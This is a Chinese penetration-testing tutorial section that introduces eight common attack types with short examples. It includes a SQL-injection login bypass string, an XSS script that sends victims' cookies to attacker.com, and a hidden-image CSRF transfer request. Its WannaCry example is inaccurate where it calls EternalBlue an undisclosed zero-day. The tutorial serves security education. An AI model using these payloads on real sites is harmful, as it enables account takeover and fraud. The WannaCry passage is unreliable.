[滲透測試]—2.2 常見的攻擊類型

在本節中，我們將介紹一些常見的攻擊類型，以幫助你更好地瞭解滲透測試的目標和方法。我們將涵蓋以下攻擊類型：

1. SQL註入攻擊
2. 跨站腳本攻擊（XSS）
3. 跨站請求偽造（CSRF）
4. 會話劫持
5. 社會工程攻擊
6. 暴力破解
7. 分散式拒絕服務攻擊（DDoS）
8. 零日攻擊

1. SQL註入攻擊

SQL註入攻擊是一種利用Web應用程式中的安全漏洞，將惡意SQL代碼註入到後端資料庫中執行的攻擊。這種攻擊可能導致攻擊者獲取或修改資料庫中的數據，甚至獲取對整個系統的控制。

實例：假設一個Web應用程式允許用戶通過輸入用戶名和密碼進行登錄。攻擊者可能嘗試在用戶名欄位中輸入如下內容：

' OR '1'='1

這可能導致生成如下SQL查詢：

SELECT * FROM users WHERE username='' OR '1'='1' AND password='...'

由於'1'='1'始終為真，這將導致查詢返回所有用戶記錄，使攻擊者能夠繞過身份驗證。

2. 跨站腳本攻擊（XSS）

跨站腳本攻擊（Cross-site Scripting，XSS）是一種利用Web應用程式中的安全漏洞，將惡意腳本嵌入到受害者的瀏覽器中執行的攻擊。這可能導致攻擊者盜取用戶的登錄憑據、篡改Web頁面內容或實施其他惡意行為。

實例：假設一個社交媒體網站允許用戶發佈帶有HTML標簽的評論。攻擊者可能嘗試發佈如下評論：

<script>document.location='http://attacker.com/stealcookie.php?cookie='+document.cookie;</script>

當其他用戶查看該評論時，惡意腳本將在他們的瀏覽器中執行，將他們的cookie發送給攻擊者。

3. 跨站請求偽造（CSRF）

跨站請求偽造（Cross-site Request Forgery，CSRF）是一種利用用戶已登錄的Web應用程式的信任，誘使用戶執行未經授權的操作的攻擊。

實例：假設一個銀行網站允許用戶通過發送如下請求進行轉賬操作：

http://bank.com/transfer?to=recipient&amount=100

攻擊者可能嘗試誘使用戶訪問如下鏈接：

http://attacker.com/evil-page.html

其中evil-page.html包含如下HTML代碼：

<img src="http://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">

當用戶訪問該頁面時，其瀏覽器將向銀行網站發送請求，導致未經授權的轉賬操作。

4. 會話劫持

會話劫持是指攻擊者利用安全漏洞竊取用戶的會話ID（例如，通過嗅探網路流量或XSS攻擊），從而模仿用戶身份進行未經授權的操作。

實例：假設一個Web應用程式使用cookie存儲會話ID。攻擊者可能利用XSS攻擊竊取受害者的cookie，然後在自己的瀏覽器中設置該cookie，以模仿受害者的身份登錄應用程式。

5. 社會工程攻擊

社會工程攻擊是指攻擊者通過心理操縱手段，誘使用戶泄露敏感信息或執行未經授權的操作。這種攻擊通常涉及欺騙、偽裝和其他人際技能。

實例：假設攻擊者通過電子郵件冒充某公司的IT部門，要求用戶提供登錄憑據以進行“系統維護”。信任這封郵件的用戶可能會不經意地將自己的用戶名和密碼發送給攻擊者。

6. 暴力破解

暴力破解是一種試圖通過嘗試所有可能的組合來猜測密碼或密鑰的攻擊方法。這種攻擊通常需要大量的計算資源和時間，但在某些情況下可能是有效的。

實例：攻擊者可能使用密碼猜測工具（如John the Ripper或Hydra）嘗試破解某個賬戶的密碼。為了加速破解過程，攻擊者可能使用字典攻擊（嘗試常用密碼）或彩虹表（預先計算的密碼哈希表）。

7. 分散式拒絕服務攻擊（DDoS）

分散式拒絕服務攻擊（Distributed Denial of Service，DDoS）是一種通過大量流量淹沒目標系統，使其無法正常提供服務的攻擊。這種攻擊通常利用僵屍網路（由攻陷的電腦組成的網路）發起。

實例：攻擊者可能使用僵屍網路對目標網站發起SYN洪水攻擊。在這種攻擊中，大量偽造的TCP SYN請求被髮送到目標伺服器，導致其資源耗盡，無法處理合法請求。

8. 零日攻擊

零日攻擊是利用尚未公開披露或修複的軟體漏洞進行的攻擊。這種攻擊通常在漏洞被開發者發現並修複之前發生。

實例：2017年的WannaCry勒索軟體攻擊就是一個典型的零日攻擊實例。攻擊者利用了Windows SMB協議中的一個未公開披露的漏洞（EternalBlue），導致全球範圍內的電腦系統被感染並加密文件，要求支付贖金。

通過學習這些常見的攻擊類型，你現在已經對滲透測試的基本概念有了更深入的瞭解。在接下來的章節中，我們將詳細介紹如何識別和防禦這些攻擊，以及如何進行有效的滲透測試。
推薦閱讀：

https://mp.weixin.qq.com/s/dV2JzXfgjDdCmWRmE0glDA

https://mp.weixin.qq.com/s/an83QZOWXHqll3SGPYTL5g